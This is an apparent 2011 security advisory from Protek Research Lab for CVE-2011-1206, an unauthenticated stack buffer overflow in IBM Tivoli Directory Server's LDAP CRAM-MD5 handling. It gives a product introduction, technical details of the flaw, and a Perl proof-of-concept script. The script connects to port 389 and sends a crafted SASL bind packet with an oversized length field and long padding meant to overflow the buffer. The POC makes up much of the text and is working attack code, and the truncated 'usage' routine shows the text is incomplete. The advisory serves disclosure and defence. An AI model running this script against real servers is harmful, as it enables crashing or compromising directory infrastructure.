##################################################################################### Application: IBM Tivoli Directory Server SASL Bind Request Remote Code Execution Vulnerability Platforms: Windows Exploitation: Remote code execution CVE Number: CVE-2011-1206 ZDI number: ZDI-11-136 {PRL}: 2011-06 Author: Francis Provencher (Protek Research Lab's) WebSite: http://www.protekresearchlab.com/ Twitter: @ProtekResearch ##################################################################################### 1) Introduction 2) Report Timeline 3) Technical details 4) POC ##################################################################################### =============== 1) Introduction =============== IBM Tivoli Directory Server (ITDS), formerly known as IBM Directory Server, is an IBM implementation of the Lightweight Directory Access Protocol, and is part of the IBM Tivoli Identity & Access Management portfolio. IBM Tivoli Directory Server is a powerful, security-rich and standards-compliant enterprise directory for corporate intranets and the Internet. Directory Server is built to serve as the identity data foundation for rapid development and deployment of Web applications and security and identity management initiatives by including strong management, replication and security features.Several authentication methods are available with IBM Tivoli Directory Server, beyond basic usernames and passwords. ITDS supports digital certificate-based authentication, the Simple Authentication and Security Layer (SASL), Challenge-Response Authentication Mechanism MD5 (CRAM-MD5), and Kerberos authentication.IBM Tivoli Directory Server is a powerful LDAP infrastructure that provides a foundation for deploying comprehensive identity management applications and advanced software architectures.

Authentication is not required to exploit this vulnerability. The specific flaw exists in how ibmslapd.exe handles LDAP CRAM-MD5 packets. ibmslapd.exe listens by default on port TCP 389. When the process receives an LDAP CRAM-MD5 packet, it uses libibmldap.dll to handle the allocation of a buffer for the packet data. A specially crafted packet can cause the ber_get_int function to allocate a buffer that is too small to fit the packet data, causing a subsequent stack-based buffer overflow. This can be leveraged by a remote attacker to execute arbitrary code under the context of the SYSTEM user. ##################################################################################### =========== 4) POC =========== #!/usr/bin/perl use strict; use warnings; use Getopt::Std; use IO::Socket::INET; $SIG{INT} = \&abort; my $host = '192.168.100.24'; my $port = 389; my $proto = 'tcp'; my $sockType = SOCK_STREAM; my $timeout = 1; my %opt; my $opt_string = 'hH:P:t:'; getopts( "$opt_string", \%opt ); if (defined $opt{h}) { usage() } $host = $opt{H} ? $opt{H} : $host; $port = $opt{P} ? $opt{P} : $port; $timeout = $opt{t} ? $opt{t} : $timeout; my @commands = ( {Command => 'Send', Data => "\x30\x18\x02\x01\x01\x60\x13\x02\x01\x03\x04\x00\xA3\x0C\x04\x08\x43\x52\x41\x4D\x2D\x4D\x44\x35\x04\x00"}, {Command => 'Receive'}, {Command => 'Send', Data => "\x30\x82\x01\x41\x02\x01\x02\x60\x82\x01\x3A\x02\x01\x03\x04\x00\xA3\x82\x01\x31\x04\x08\x43\x52\x41\x4D\x2D\x4D\x44\x35\x04\x84\xFF\xFF\xFF\xFF\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x20\x36\x61\x37\x61\x31\x31\x34\x39\x36\x30\x33\x61\x64\x37\x64\x30\x33\x34\x39\x35\x66\x39\x65\x37\x31\x34\x66\x34\x30\x66\x31\x63"}, {Command => 'Receive'}, ); my $sock = new IO::Socket::INET ( PeerAddr => $host, PeerPort => $port, Proto => $proto, Type => $sockType, Timeout => $timeout, ) or die "socket error: $!\n\n"; print "connected to: $host:$port\n"; $sock->autoflush(1); binmode $sock; foreach my $command (@commands) { if ($command->{'Command'} eq 'Receive') { my $buf = receive($sock, $timeout); if (length $buf) { print "received: [$buf]\n"; } } elsif ($command->{'Command'} eq 'Send') { print "sending: [".$command->{'Data'}."]\n"; send ($sock, $command->{'Data'}, 0) or die "send failed, reason: $!\n"; } } close ($sock); sub receive { my $sock = shift; my $timeout = shift; my $tmpbuf; my $buf = ""; while(1) { eval { local $SIG{ALRM} = sub { die "timeout\n" }; alarm $timeout; my $ret = read $sock, $tmpbuf, 1; if ( !defined $ret or $ret == 0 ) { die "timeout\n"; } alarm 0; $buf .= $tmpbuf; }; if ($@) { if($@ eq "timeout\n") { last; } else { die "receive aborted\n"; } } } return $buf; } sub abort { print "...\n"; if ($sock) { close $sock; } die "...\n"; } sub usage #####################################################################################
